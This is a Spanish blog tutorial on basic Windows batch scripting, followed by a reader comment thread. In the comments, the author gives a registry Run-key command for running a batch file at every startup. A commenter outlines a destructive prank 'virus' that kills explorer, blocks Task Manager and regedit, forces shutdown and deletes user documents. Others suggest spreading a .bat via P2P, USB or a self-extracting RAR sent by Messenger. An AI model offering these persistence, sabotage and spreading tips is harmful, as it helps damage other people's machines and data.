96
Batch, según Wikipedia es: Es un archivo de procesamiento por lotes: se trata de archivos de texto sin formato, guardados con la extensión *.bat que contienen un conjunto de comandos DOS. Cuando se ejecuta este archivo bat, los comandos contenidos son ejecutados en grupo, de forma secuencial, permitiendo automatizar diversas tareas. Cualquier comando DOS puede ser utilizado en un archivo batch. Hay que aclarar Batch que no es un Lenguaje de Programación. Es un archivo de código que contiene comandos del, Shell de Windows, llamado MS-DOS, que pueden ejecutar desde Inicio->Ejecutar->CMD. Hay dos maneras de ejecutar comandos Batch. Desde el Shell de Windows. Escribiéndolos en un archivo de texto con extensión .bat y luego ejecutarlo. Hola Mundo en Batch Comenzaremos creando un Simple y clásico "Hola Mundo", escribiendo en un archivo de texto el siguiente código. Código : @echo off echo Hola Mundo pause exit Ahora guardemos el archivo como Nombre.bat y lo ejecutamos. Nos aparecerá una pantalla negra que dirá "Hola Mundo", luego una linea abajo dirá "Presione una tecla para continuar" Explicamos: echo: Imprime un texto en pantalla, que es el texto que viene después (el que le pasamos como parámetro), que en este caso es "Hola Mundo". Echo significa eco, por lo mismo "@echo off" elimina el eco, la repetición de la ruta en la que nos encontramos en cada línea código. pause:

Batch

Embed Size (px)

Citation preview

Page 1: Batch

Batch, según Wikipedia es:

Es un archivo de procesamiento por lotes: se trata de archivos de texto sin formato, guardados con la extensión *.bat que contienen un conjunto de comandos DOS. Cuando se ejecuta este archivo bat, los comandos contenidos son ejecutados en grupo, de forma secuencial, permitiendo automatizar diversas tareas.Cualquier comando DOS puede ser utilizado en un archivo batch.

Hay que aclarar Batch que no es un Lenguaje de Programación. Es un archivo de código que contiene comandos del, Shell de Windows, llamado MS-DOS, que pueden ejecutar desde Inicio->Ejecutar->CMD.

Hay dos maneras de ejecutar comandos Batch.

Desde el Shell de Windows. Escribiéndolos en un archivo de texto con extensión .bat y luego ejecutarlo.

Hola Mundo en Batch

Comenzaremos creando un Simple y clásico "Hola Mundo", escribiendo en un archivo de texto el siguiente código.

Código :

@echo off

echo Hola Mundo

pause

exit

Ahora guardemos el archivo como Nombre.bat y lo ejecutamos. Nos aparecerá una pantalla negra que dirá "Hola Mundo", luego una linea abajo dirá "Presione una tecla para continuar"Explicamos:echo:

Imprime un texto en pantalla, que es el texto que viene después (el que le pasamos como parámetro), que en este caso es "Hola Mundo". Echo significa eco, por lo mismo "@echo off" elimina el eco, la repetición de la ruta en la que nos encontramos en cada línea código.pause:

Como bien se lee, pausa la ejecución del código. Además muestra el texto "Presione una tecla para continuar"exit:

Cierra la ventana de comandos.

Para dejar más en claro cual sería la diferencia de no ocupar la linea @echo off la imagen de a continuación muestra como se vería la pantalla sin esta linea.

Page 2: Batch

Ahora aprenderemos algunas funciones de Batch:

CD o CHDIR:

Si has trabajado en PHP, te sera fácil entender este concepto. Sirve para cambiar de Directorio o Mostrar el nombre del actual. Para usarlo, CD o CHDIR seguido de la ubicación del directorio al cual nos moveremos.cd "C:\"chdir "C:\"Los ejemplos anteriores hacen exactamente lo mismo, cambian al Disco C

COPY:

Sirve para copiar uno o más archivos a otro destino.Su sintaxis es la siguiente:Copy "Dirección del archivo" "Nueva dirección"Ejemplo:

Código :

Copy "C:\archivo.txt" "C:\archivo2.txt"

Aquí copiaríamos un archivo del Disco C llamado "archivo.txt" como "archivo2.txt"Para acortar un poco podríamos usar:

Código :

cd "C:\"

Copy "archivo.txt" "archivo2.txt"

Donde primero cambiamos de directorio al Disco C con cd "C:\" y luego al copiar no tenemos que especificar que esta en el Disco C ya que ya nos encontramos en el.

Page 3: Batch

DEL:

Sirve para eliminar uno o más archivos. Su sintaxis es:Del "ARCHIVO"También se puede añadir:del /f /q "archivo"Donde no pide confirmación de eliminación (/q) y fuerza al archivo a borrarse ( /f )

Move:

Sirve para mover un archivo. Su sintaxis es:Move "Dirección Archivo" "Nueva Dirección"

Cls:

Sirve para limpiar el contenido de la pantalla:Ejemplo:

Código :

@echo off

echo Hola, Cuando pulses la tecla se borrara el contenido y cambiara por otro.

pause

cls

echo ¿Ves?

pause

exit

Si quisiéramos averiguar más sobre las funciones, o conocer algunas nuevas por nuestra propia cuenta podemos escribir en el Shell el nombre del comando seguido de /? y aparecerá toda la información necesaria.

Podemos poner en práctica esto de la siguiente manera:

Abramos el Shell de windows:

Inicio->Ejecutar-CMD

Una vez abierto escribamos:

Código :

echo off

Para eliminar el eco.

Page 4: Batch

Luego para borrar el contenido de pantalla escribe:

Código :

cls

Ahora veamos la ayuda de la función Copy:

Código :

copy /?

Cerremos la ventana:

Código :

exit

Ahora vamos a crear un Batch que copie un archivo, luego lo mueva a otro directorio, borre el original y vuelva a copiar el copiado.En la carpeta donde crearás el archivo .bat crea un archivo de texto llamado copiame.txt. En él, escribe lo que quieras. Este será el archivo que copiaremos.Ahora el Batch:

Código :

@echo off

echo Hola, Copiaremos un archivo

pause

copy "copiame.txt" "copiado.txt"

move "copiado.txt" "C:\copiado.txt"

del "copiame.txt"

cd "C:\"

copy "copiado.txt" "copiado2.txt"

exit

Guárdalo en la carpeta como NombreQueTuQuieras.bat, y ejecútalo.

Lo que ha hecho la cadena de instrucciones es más o menos lo siguiente:Primero apagamos el eco, luego imprimimos en pantalla "Hola, Copiaremos un archivo"Pausamos el intérprete para que no siga de largo.A continuación, copiamos el archivo "Copiame.txt" y su copia se llamará "copiado.txt". La movemos a la carpeta raíz del disco C, y eliminamos el original.Por ultimo cambiamos de directorio al disco C, copiamos la copia y cerramos el Batch.

Page 5: Batch

Después de que ejecutemos el Batch, si vamos al Disco C, veremos que hay dos nuevos archivos de texto: uno llamado copiado.txt y otro copiado2.txt.También si vamos a la carpeta del Batch, veremos no está el archivo de texto original, "copiame.txt".

Creación de nuevos archivos:

Con Batch podemos crear otros archivos. Para ello, tenemos que escribir algo como esto:

Código :

echo TEXTO DE PRIMERA LINEA > nombre.extensión

echo TEXTO SEGUNDA LINEA >> nombre.extensión

echo TEXTO SIGUIENTE LINEA >> nombre.extensión

Al escribir echo seguido de un texto y el signo > creamos un archivo con el nombre que siga.Si ocupamos un echo seguido de un texto y el doble signo > (>>) se escribirá en la siguiente linea vacía del archivo que prosiga.

Hagamos la prueba:

Código :

echo Creando un Archivo de texto > nuevo.txt

echo Esta es la Segunda linea >> nuevo.txt

echo Y esta es la Siguiente >> nuevo.txt

echo Esto esta genial >> nuevo.txt

Si ejecutamos eso, la pantalla negra se abrirá y cerrará.Pero en la carpeta en la que está nuestro batch se abra creado un nuevo archivo "nuevo.txt" que si lo abrimos, dentro estará escrito lo que especificamos.

Personalizando el SHELL

Seguro que no te gusta mucho el aspecto del Shell.Aquí veremos como personalizarlo un poco.

COLOR:

Con la función color podemos cambiar los colores de fondo y las letras. Siendo su sintaxis:COLOR ABDonde A= El color de el Fondo y B= Color de las letras.Para ver todos los colores ve el MS-Dos y escribe color/?

TITLE:

Para cambiar el título de la barra de tareas solo escribe:Title Loquequierascomotitulo

Pause Personalizado:

Page 6: Batch

¿No te gusta que al poner pause salga "Presione una tecla para continuar..."?Pues si escribes "pause>nul" no aparecerá ni un texto.Entonces si anteponemos un mensaje, quedaría así.

Código :

echo Aprieta cualquier tecla para seguir

pause>nul

Además puedes jugar con los caracteres. Aquí un ejemplo, donde cambié los colores y jugué con los caracteres y personalicé el pause:

El código que empleé para esto fue:

Código :

@echo off

color 30

echo ==================================

echo =                                =

echo =               Personalizado    =

echo =                                =

echo ==================================

echo.

echo.

echo Esto esta personalizado, para salir presiona una tecla.

pause>nul

exit

Cabe mencionar que echo. (Echo seguido de un punto)sirve para saltarse una línea.

Matando Procesos:

Page 7: Batch

¿Alguna vez has presionado CTRL+ALT+DELETE?Si lo haces se abre el Administrador de tarea. En la pestaña procesos salen algunos procesos que están andando en tu pc, haciéndoles clics y apretando "terminar proceso" lo puedes acabar.Con batch eso es muy fácil, se usa la función:Taskkill (No funciona en todos los pc, para ver si esta disponible escribe taskkill/?)Su sintaxis es:

Código :

taskkill /f /im proceso.exe

/f Fuerza el término del proceso.

Un ejemplo seria escribir.

Código :

taskkill /f /im wmplayer.exe

Si lo ejecutas y tienes el Reproductor de Windows Media abierto, este se cerrará.

ABRIENDO PROCESOS:

Ahora abramos ese proceso que cerramos. Para abrir procesos se usa la función Start que funciona así:

Código :

start proceso.exe

También puedes abrir paginas web con tu explorador predeterminado.Ejemplo1:

Código :

start wmplayer.exe

Se abrirá el Reproductor de MúsicaEjemplo2:

Código :

start www.google.cl

Se abrirá tu Explorador de Internet en Google.

VARIABLES:

Page 8: Batch

Ahora aprendamos a declarar variables. Para crear una se escribe:

Código :

set NOMBREVARIABLE = VALOR

Para llamarla debemos escribir su nombre entre los signos %%Ejemplo:

Código :

@echo off

set Nombre= Javier Letelier Ruiz

echo %Nombre%

pause

La pantalla nos mostrara algo así:

Para cambiar el valor solo debemos hacer esto:

Código :

set Nombre= Nuevo Valor

Si quieres que tu Variable sea dinámica, osea que el Usuario la elija antepones /p:

Código :

set /p Nombre=Escriba su Nombre:

Donde el Batch se pausara solo mostrando el Mensaje que va luego de "=" dejando que se escriba algo.También podemos multiplicarlas, sumarlas, etc... con /a:

Código :

set numero1=2

ser numero2=43

set /a suma= %numero1% + %numero2%

Page 9: Batch

echo %suma%

pause

exit

Si ejecutamos este, nos devolverá la suma de 2 + 43, 45.

Creo que con esto será suficiente.Ojalá hayan entendido y les haya interesado el batch, que principalmente se puede usar para facilitar algunas tareas de Windows, ya que como veremos en la segunda parte del tip se pueden lograr cosas bastante interesantes.

Artículos Relacionados

Problemas de carga con Loader y ScrollPane en Flash Memoria caché. ¿Cuándo nos juega a favor y cuándo en contra? Cómo desactivar el autoguardado de revisiones en Wordpress

Comentarios | Enviar un comentario

Muy bueno JaLeRu, y con la propaganda que le hiciste seguro sera un Tutorial dentro de poco...

Pd: Si no me equivoco esto puede servir para armar "virus", cierto ¿?...Por: M@U

M@U :Muy bueno JaLeRu, y con la propaganda que le hiciste seguro sera un Tutorial dentro de poco...

Pd: Si no me equivoco esto puede servir para armar "virus", cierto ¿?...

Cierto.

Muy bien JaLeRu, hace tiempo que dejé de utilizar estos Scripts, son de gran utilidad aunque nada comparados con lo que puedes hacer en una terminal basada en Unix.Por: Carloz.YanezSi se pueden hacer cosas medias macabras es cierto.Con un amigo que tiene un pc que no usa, creamos un batch que apagaba el pc cada vez que se prendía. Era muy jodido. Pero lo eliminamos fácilmente iniciando de modo seguro.Yo uso batch para cosas como:Programar tareas como Apagados, mensajes, etc.También para hacer accesos directos a programas que no encuentro en mi pc.Ejemplo: Hace un tiempo se me borro la calculadora, entonces hice un simple batch que me la abre.También una vez hice uno que cada inicio del pc Finalizaba tareas inútiles. (Ya que siempre que yo iniciaba el pc se me abrían programas que yo nunca usaba)

Pero ya no lo es necesario por que con el TuneUp Utilities controlo esto. Por: JaLeRu

Page 10: Batch

Hola,

Tengo una duda, he utilizado la opción bat para descargar archivos pdf de una presentación y he puesto @echo off y exit al final. Bien, no me aparecen las líneas de comando, pero se sigue viendo, aunque sea por décimas de segundo la pantalla negra de comandos...¿Hay forma de ocultarla o que salga por debajo de la presentación?

GraciasPor: helennEl batch no trae como tal esa propiedad. Pero existen programas que mezclan Exe con Batch y traen esta opción de ejecutarse escondidos.Por: JaLeRuMe podrias explicar como haces para que arranque un exe cuando inicia la PC con el batch (si

no es mucho pedir )Por: CarlosRuminott

Código :

REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v tubatch.bat /t REG_SZ /d C:\tubatch.bat

Ok ese código que te di sirve para que un bat se ejecute cada vez que se inicia el pc.donde el primer "TuBatch.bat" es el nombre del batchY donde dice: C:\tubatch.bat es la direccion del BatchPara iniciar un exe, el batch tendría que decir:

Código :

start C:/direcciondelexe/miexe.exe

Por: JaLeRu

Muchas gracias!! lo voy a probar Por: CarlosRuminott

muy muy util!!! felicitaciones julero.. digo jaleru espero que sigas con mas de estos aportes

de calidad Por: siddhartax_X' archivos batch..creo q esa clase es de hace 10años,pero weno..para begginers..Por: carlosczg_blogjaja..Mau dice para virus jajaja, ese compare esta en la calle.minimo C mas ASM para virus bro.Por: diego_blog

Muy buen tip Por: Victor-NaelEs posible mapear una carpeta compartida como unidad de red con este tipo de script??Por: Bill_bloghacia tiempo buskaba algo asi ... al fin lo publicaron ...graciasPor: LP_blog

Page 11: Batch

Buen tip , ahora sí la se habla más del tema q de ti

Solo para complementar algo respecto a SET. Para mostrar todas las variables declaradas escribir solo "SET" (sin comillas) o mostrar solo la variable q declaraste: "SET VariableQueDeclare" (sin comillas), y para eliminar la variable escribir: "SET NombreDeMiVariable=" (sin comillas)

No me sabia esa de SET /p , me has hecho recordar mis inicios con MSDOS 6.22 y Win3.1

Por: Otaku RzObuen tip, hace tiempo que no utilizo los archivos .bat y me gusto releer sobre el tema, simpre biene bien recordar estas cosas...para el siguiente tip sobre el tema explicaras como hacer menus?Por: noctam_blogGenial!!! Gracias por compartirlo. Y ya sería genial que lo ampliaras y que nos muestres cómo utilizar los comandos condicionales.

De todos modos GRACIAS!!!Por: Kamisoft_blog[quote="JaLeRu"]

Código :

REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v tubatch.bat /t REG_SZ /d C:\tubatch.bat

Aja, yo lo usaba para dejarle mensajes de muerte al otro que ocupaba la compu por la tarde

Por: Jorgeligmuy interesantePor: BlackSpiral_blogComo usuario de Windows nunca habia visto esto del MS-DOS (sólo para ver la hora o

recuperar el internet )debo de estar en el callejón .

Pero si lo sabia en el shell de UNIX .Por: enjoydasilence_blogles recomiendo mezclar todo eso con archivos .reg y .vbs seria una mezcla explosivaPor: johnes_bloghahaha muy bueno este tip me viene bien para armar mis bats para laburar con proyector flash y ejecutarlos con Fscommand, gracias!Por: Jonatan_blogExcelente lo felicitoPor: javier_blogAhhh!! Me lo ganaste! Hace poco queria hacer un tutorial sobre bat.

Te quedo muy bien de todos modos. ¿Podre publicar "Una segunda parte" de este tutorial?Por: Kinduff

Kinduff :Ahhh!! Me lo ganaste! Hace poco queria hacer un tutorial sobre bat.

Te quedo muy bien de todos modos. ¿Podre publicar "Una segunda parte" de este tutorial?

Page 12: Batch

Creo que te lo volvieron a ganar Kinduff !!!...

JaLeRu :[...]ya que como veremos en la segunda parte del tip se pueden lograr cosas bastante interesantes

Por: M@Ume parece muy bueno pero tengo un pregunta si tengo un archivo .bat en el escritorio y a la hora de que sea abierto se copie el mismo en esta direccion C:\Documents and Settings\All Users\Menú Inicio\Programas\InicioPor: erick_blogMuy bonito, pero te ha faltado lo mas importante que es como realizar un backup de un folder determinado.Por: Luis_blog@Luis_blog: Como ya dijo el autor...

JaLeRu :[...]ya que como veremos en la segunda parte del tip se pueden lograr cosas bastante interesantes

Por: M@U

M@U :@Luis_blog: Como ya dijo el autor...

JaLeRu :[...]ya que como veremos en la segunda parte del tip se pueden lograr cosas bastante interesantes

Ah ser sincero no se de eso del Backup Por: JaLeRu

Muy bueno tu Tip , y gracias por la ayuda me sirvió de mucho. Por: flashrelocohola que tal necesito saber como hacer que mi bat se expanda por toda una red localPor: spee

spee :hola que tal necesito saber como hacer que mi bat se expanda por toda una red local

Eso que no son principios de un virus Por: flashrelocoPara hacer que se propague por toda la red podes hacerlo de varias formas, la que yo uso es

propagacion por P2P, o tmb por USB, busca un google

Salu2.Por: WebStar_blogcomo hago un FTP????Por: pain_blog...para iniciar una transferencia de archivos????? dentro de un dtsPor: pain_blog

Page 13: Batch

como crear un acceso directo con um batejemplomi bat esta en el escritorio y quisiera que a la hora que sea ejecutado cree el acceso directo en C:\Documents and Settings\Cliente\Menú Inicio\Programas\Inicio

graciasPor: ertgExcelentee!!!1 Duda..En la parte de abrir un programa o pagina web, ¿como haria si quiero q ese programa o pagina web se abra varias veces?

Por: José M_blog

José M_blog :Excelentee!!!1 Duda..En la parte de abrir un programa o pagina web, ¿como haria si quiero q ese programa o pagina web se abra varias veces?

Pues en teoria copiando y pegando varias veces la llamada, a esa paginas web o aplicación , pero no estoy seguro jejeje.Por: flashrelocojajaja.. ta q la gente pregunta para hacer cosas malas nomas ah...q wina...Por: carlosczg_blogcomo puedo hacer para que se ejecute un archivo.bat cuando lo envie por messengerPor: bart_blogComprimelo en un Rar, con la opción de que este se ejecute al descomprimirlo.Por: JaLeRuEsas dudas me huelen a virus o codigos maliciosos...Por: M@U

A mi también. Pero a ser sincero, aprendí batch por la razón de tener capacidad maliciosa más que nada.

Aunque ahora lo use para el bien. Por: JaLeRuMucha suerte con la programación en Batch. aunque ojala se mostraran ejemplos mas avansados para que en relidad sepan que es programar.

No se rindan, algun dia seran buenos programadores.Por: El HaCkEr_blogMi próximo tip de batch sera con algunas utilidades.Por: JaLeRu

El HaCkEr_blog :Mucha suerte con la programación en Batch. aunque ojala se mostraran ejemplos mas avansados para que en relidad sepan que es programar.

Gracias El HaCkEr.

Tu nick con combinación de mayúsculas y minúsculas y tu uso de Internet Explorer nos demuestra que eres legendario y seguro tu si que sabes que es programar "avansado". Maestro.Por: Freddie

Page 14: Batch

Hola

Tenemos una maquina muy viejita que arranca con un diskette , necesitamos que automáticamente en el diskket cargue un programa exePor: JAIME ESQUIVEL MEJIA_blogPara eso necesitas un AutoRun, pero no se si funcione en disquetes. (¿Todavía existen los disquetes?)Funcionan de la siguiente manera.Escribes en un editor de texto plano lo siguiente:

Código :

[autorun]

OPEN=Nombre.exe

ICON=Icono.ico

Luego lo guardas como autorun.inf en el disquete.PD: ¿Dentro de un disquete cabe un programa?

Por: JaLeRujajaja "KwanzaFreddie" burlandote de los demas, sabes es posible realizar un virus si no "avansado" muy efectivo para el usuario promedio que no sabe que el explorer es su "escritorio" por ejemplo, combina un taskill al arranque de windows de explorer (no cargara el escritorio) y que dijiste ctrl alt supr pues combinalo con un reg y quitale permisos de ejecutar el taskman al usuario que hace el login, bloqueas regedit tambien y que te parece si le mandas un shutdown dandole 30 segundos mientras haces un del de mis documentos tomando en cuenta que seguramente estan corriendo como administrador la pc, le has borrado sus archivos que no?? eso si bien no le llamariamos virus como tal en la actualidad es un buen comienzo para muchos (con fines educativos claro) ya despues hablaras de ASM, y C. Todos comenzamos de alguna forma y desde abajo y aunque se que fue entre broma y broma pero no debes de ser asi.

P.D. Internet Explorer se Usa???es mas se puede usar??Por: entrometido_blogEm... Es cierto que se pueden lograr cosas maliciosas.Pero Virus, como si. NO.Sirve para complementar. Por ejemplo el instalador del virus, o para esconderlo.Pero es muy limitado el lenguaje para lograr un virus.Por: JaLeRu

entrometido_blog :ya despues hablaras de ASM, y C

¿Ah sí? Por favor, iluminanos. Hablanos de Assembler y C. Con fines educativos.

O quizás no tengas tiempo por estar ocupado haciendo "virus" en "batch" como para mostrarnos el camino. E igual pueda ser que no tengas NPI de lo que hablas y solo hables por hablar, recordando lo que lees por ahí.

Esperamos sinceramente tu copypaste Por: FreddieCreo varios saben trabajar en MS-Dos (Batch), pero veo que muchos no van mas alla.En realidad si se pueden realizar virus en batch, solo tienes que tener practica,decicion a lo que quieres lograr y no rendirte si no funciona al principio.Pues en realidad se

Page 15: Batch

vuelve algo tedioso cuando no saves de estos temas, pero no se sientan mal, pues todos empezamos por eso. El batch se ve sencillo, pero yo siempre e dicho: pequeños programas, grandes funcionalidades.

Aunque no puedo mencionar los cogidos de un virus, porque estaria compartiendo algo indevido. Si puedo decirles otras cosas que sean utiles.Por: Anonimo HCR_blogClaro que tienes razon, si es posible crear un virus en MS-DOS,aunque algunas personas lo duden o se burlen de ello. Pero dejame decirte que los codigos son muy extensosos o segun las ordenes que lleven se acortan. Se ve que eres un poco ingenuo pues para tener esos conocimientos en MS-DOS debes pasar horas en tu ordenador.Pero claro despues de crearlo necesitas un programa o crear uno, que te convierta de MS-DOS a EXE. Para convertilo a ejecutable y no puedan cambiar las ordenes que vos haber puesto.Y claro por obias razones no compartes tu codigo malisioso.Suerte.Por: El HaCkEr_blogEspero que estes contento JaLeRu, llenas de Hacker´s Clab... Y eso que todavia falta una tercera parte de Batch...Por: M@U

M@U :Espero que estes contento JaLeRu, llenas de Hacker´s Clab...

Estos no son hackers, M@U. Son "juakers", a lo AndreSOSO.Por: Freddie

KwanzaFreddie :

M@U :Espero que estes contento JaLeRu, llenas de Hacker´s Clab...

Estos no son hackers, M@U. Son "juakers", a lo AndreSOSO.

Juas !!!... Perdón, tienes toda la razón...

Por: M@ULes tengo algo que creo que es bueno.

Alguien sabe como puede proteger carpetascon un MS-DOS (batch), sino saben para decirselos.Por: Angel_fo_the_death_blogYo no lo hago con intención de llenar Juakers. Solo quería enseñar algo que se.Que puede ser útil. Y sigo insistiendo que encuentro estúpido que ese tal Hacker se burle de mi.Yo quise enseñar algo básico, por que no todo el mundo es tan genial como tu El HaCkEr y debe empezar por algo básico. No todos nacimos sabiendo programar.Mis conocimientos también son básicos, en absoluto. Dedica tu vida a crear Virus, te felicito vivirás mucho más feliz y estarás dando un gran aporte al mundo. Me encantaría que tu dieras un poco de tu tiempo a enseñarnos tu TAN avanzado conocimiento. (Y lo digo en serio)

Espero un pequeño "Tip" de tu parte.Por: JaLeRuMuchas Felicidades al creador de este foro y suerte.Soy nuevo y creo que no han visto mi a pregunta anterior. Haci que me tome la molestia de repetirla. Mi pregunta era ¿que si no saben como proteger una carpeta con un archivo en batch?. Es que yo si se y queria compartilo con ustedes. pues creo que todos tenemos archivos personales que no queremos que otras personas vean y queremos protegerlos.Pues cree un archivo batch que nos ayudara con ello. Por eso quiero saber si ya saben, o si no

Page 16: Batch

para compartilo con ustedes, les sera muy util, en serio...

Gracias.Por: Angel_of_the_Death_blog

JaLeRu :Yo no lo hago con intención de llenar Juakers.

Tranquilo JaLeRu. No es contigo la cosa. De hecho, tus aportes han sido muy buenos. Sigue así.Por: Freddiees interesantePor: Œ

Angel_of_the_Death_blog :Muchas Felicidades al creador de este foro y suerte.Soy nuevo y creo que no han visto mi a pregunta anterior. Haci que me tome la molestia de repetirla. Mi pregunta era ¿que si no saben como proteger una carpeta con un archivo en batch?. Es que yo si se y queria compartilo con ustedes. pues creo que todos tenemos archivos personales que no queremos que otras personas vean y queremos protegerlos.Pues cree un archivo batch que nos ayudara con ello. Por eso quiero saber si ya saben, o si no para compartilo con ustedes, les sera muy util, en serio...

Gracias.

Nunca esta de más que aportes.Claro que sí nos interesa que nos digas como.Por: JaLeRuBueno e leido que si les interesan los aportes y eso me da gusto, ademas gracias a JaLeRu por leer mi post.Para proteger sus carpetas deben colocar esto en su Bloc de Notas:

ren nombre nombre.{21EC2020-3AEA-1069-A2DD-08002B30309D} lo guardan como: Cerrar.bat

despues abren de nuevo su Bloc de Notas ponen lo siguiente:

ren nombre.{21EC2020-3AEA-1069-A2DD-08002B30309D} nombrelo guardan como: Abrir.bat

Nota:donde dice nombre lo sustituyen por el nombre de su carpeta personal o de cualquier carpeta. Y primero pruebenel primero cerrara su carpeta y cambiara el icono. Cuando alguien intente abrirla los redireccionara al panel de control.y para abrirla de nuevo ejecutan Abrir.bat y ya podran ver sus documentos dentro de la carpeta.Por: Angel_of_the_Death_blogEspero me disculpen pero se me olvido esto:los archivos Abrir.bat y Cerrar.batdeben de ir donde se encuentra la carpeta. Esto indica junto a ella no dentro de ella.

Gracias y tratare de aportar mas a este ChIdO BlOg...Por: Angel_of_the Death_blogAqui esperamos ansiosos Angel_of_the_Death_blog...Por: M@U

Angel_of_the_Death_blog :

Page 17: Batch

Bueno e leido que si les interesan los aportes y eso me da gusto, ademas gracias a JaLeRu por leer mi post.Para proteger sus carpetas deben colocar esto en su Bloc de Notas:

ren nombre nombre.{21EC2020-3AEA-1069-A2DD-08002B30309D} lo guardan como: Cerrar.bat

despues abren de nuevo su Bloc de Notas ponen lo siguiente:

ren nombre.{21EC2020-3AEA-1069-A2DD-08002B30309D} nombrelo guardan como: Abrir.bat

Nota:donde dice nombre lo sustituyen por el nombre de su carpeta personal o de cualquier carpeta. Y primero pruebenel primero cerrara su carpeta y cambiara el icono. Cuando alguien intente abrirla los redireccionara al panel de control.y para abrirla de nuevo ejecutan Abrir.bat y ya podran ver sus documentos dentro de la carpeta.

De hecho ese Tip ya ha sido publicado aquí Bloquear el acceso a carpetas en Windows XP.Esperamos tus demás aportes.Por: Carloz.YanezGracias por avisarme, pero les juro que no habia visto esa otra publicación.

Ya cheque el link que pusiste Carloz.Yanez y es verdad lo que dices,se te agradece por tu gran obcervación.

Gracias...Por: Angel_of_the_Death_blogVoy a registrarme para que asi sea mas confiables mis aportes.

Saludo2Por: Angel_of_the_Death_blog

Angel_of_the_Death_blog :Voy a registrarme para que asi sea mas confiables mis aportes.

Saludo2

Que bueno!....Por: JaLeRuAntes que nada ya me he registrado para asi formar parte de esta gran Comunidad.

Aquí les traigo este pequeño aporte espero les guste y les sea util....

Este un pequeño buscador chequenlo y pruebenlo. Suerte El siguiente es el codigo:

Código :

:buscador

@echo off

color 3f

Page 18: Batch

Title Buscador Personalizado

echo             =========================================

echo             =                                       =

echo             =         Buscador Personalizado        =

echo             =                                       =

echo             =========================================

echo.

echo             Que desea hacer?

echo.

echo             1. Ir a la Web en Google.

echo.

echo             2. Buscar Imagenes en Google.

echo.

echo             3. Ver las Noticias en Google.

echo.

echo             4. Ir a Grupos en Google.

echo.

echo             5. Busqueda de Libros en Google.

echo.

echo             6. Ir al Gmail.

echo.

echo             7. Salir del Buscador.

echo.

echo.

set/p google=           Escriba el numero determinado y pulse ENTER.

if %google%== 1 goto Web

if %google%== 2 goto Imagenes

if %google%== 3 goto Noticias

if %google%== 4 goto Grupos

if %google%== 5 goto Libros

if %google%== 6 goto Gmail

if %google%== 7 goto Salir

if %google%== %google% goto error

pause>nul

:Web

cls

Page 19: Batch

@echo off

start http://www.google.com.mx/

exit

:Imagenes

cls

start http://images.google.com.mx/imghp?hl=es&tab=ni

exit

:Noticias

cls

start http://news.google.com.mx/nwshp?hl=es&tab=in

exit

:Grupos

cls

start http://groups.google.com.mx/grphp?hl=es&tab=ng

exit

:Libros

cls

start http://books.google.com.mx/bkshp?hl=es&tab=wp

exit

:Gmail

cls

start https://www.google.com/accounts/ServiceLogin?service=mail&passive=true&rm=false&continue=https%3A%2F%2Fmail.google.com%2Fmail%3Ftab%3Dpm%26nsr%3D1%26ui%3Dhtml%26zy%3Dl&ltmpl=default&ltmplcache=2

exit

:Salir

cls

exit

:error

cls

msg * La Obcion que eligio no existe, pruebe con otra, Gracias.

goto buscador

exit

pause>nul

Por: Angel_of_the_Death

Page 20: Batch

Ah y ya me quite el _Blog

ahora aparecere como Angel_of_the_Death

Gracias... Por: Angel_of_the_Death

Bienvenido! Por: JaLeRuSaludos Angel_of_the_Death,

Los Aportes de preferencia publicalos aqui... Y los Tips por aca...Tambien te recomiendo que le des una leida a las Reglas del Foro y que cambies tu Avatar, el tamaño maximo para estos es de 100x100 pxls...

Bienvenido...Por: M@U

Gracias a Todos...

Y gracias M@U por decirme donde debo poner los Tips y los Aportes...

Suete a todos y Feliz año Nuevo... Por: Angel_of_the_DeathAngel_of_the_Death, el maximo tamaño de los avatares es 100 x 100. El tuyo tiene 195 pixeles.Por: Freddie

Disculpen, es que no encontraba imagenes de esos pixeles, pero ya encontre una,

gracias.... Por: Angel_of_the_Deathnadie sabe con pasar mi bat a la carpeta de inicio vamos loco tiene que haber una forma con move y con copy no funca y la sintaxis esta bien porque desde el ordenador puedoPor: mauricio_blogCreo que la única forma de mover un bat que esta siendo ejecutado es creado otro bat que lo mueva. He igual así no te aseguro que se pueda mover en tiempo de ejecución.

Algo como esto: (Siendo que el archivo se llame "mibat.bat")

Código :

@echo off

echo Ahora, me moveré al disco C

echo @echo off>move.bat

echo move "mibat.bat" "C:\mibat.bat">>move.bat

echo exit>>move.bat

start "move.bat"

echo Ya debería haber funcionado.

Page 21: Batch

Por: JaLeRuHola me gustaria alguien me dijiera comohacer que se remarque mi conexion a internet por ahi encontre algo asi:

rasdial Conexion usuario password

y pues si funciona, pero el problema que tengo es que quiero que al ejecutar el bat tenga una demora de aproximadamante 3 minutos, pues si se conectar inmediatamente no me sirve.... espero alguien me pueda ayudar

att: ferzidan [email protected]: ferzidan_blogque tal habla spee el de la pregunta de los bats, soy de Guate y me interesa mucho la programacion y hago loposible por aprender y no ando presumiendo lo que se como ese tal El HaCkEr_blog de lo contrario si veo a alguien que no sabe trato de ayudarlo y no de juzgarlo con lo poco que, si alguien me puede ayudar a seguir aprendiendo seria bueno si me pueden mandar algunos manuales a mi correo [email protected]: speeInscribete en CLAB y te responderemos todas tus dudas.O por lo menos lo más posible.Por: JaLeRuYo tengo unos batch hechos para iniciar o detener servicios en Win32. Para esto se usa el comando sc, que si lo ponen en la ventana del sistema sin parámetros les muestra la ayuda. Por ejemplo, para detener/iniciar el servicio de Temas respectivamente usaríamos:

Código :

sc stop "Themes"

Código :

sc start "Themes"

Otra cosa interesante es que nos permite borrar servicios muy fácilmente, aunque no aconsejaría que lo hagan a menos que estén completamente seguros de lo que hacen, es muy simple, por ejemplo si quisiéramos borrar el servicio del Portafolios:

Código :

sc delete "ClipSrv"

Por: Skatoshola chicos especialmente jerelu que respondio a mi preg.sienpre que tube dudas.mi preg es esta estoy haciendo un bat para mi hago esto haber si ustedes me dicen donde me equivoco se los resumo entro al dico "c" creo una bat con una orden lo quiero mover a l carpeta de inicio y no lo hace pero las sintexis entan bien solo que no me lo deja meter en la carpeta esa.espero que me ayuden gracias amigos del batPor: mauricio_blogjaleruPor: mauricio_blogMe parece que un bat no puede moverse a si mismo.Pero puedes crear una copia del bat, para luego borrar al ejecutar la copia se borre el del disco

Page 22: Batch

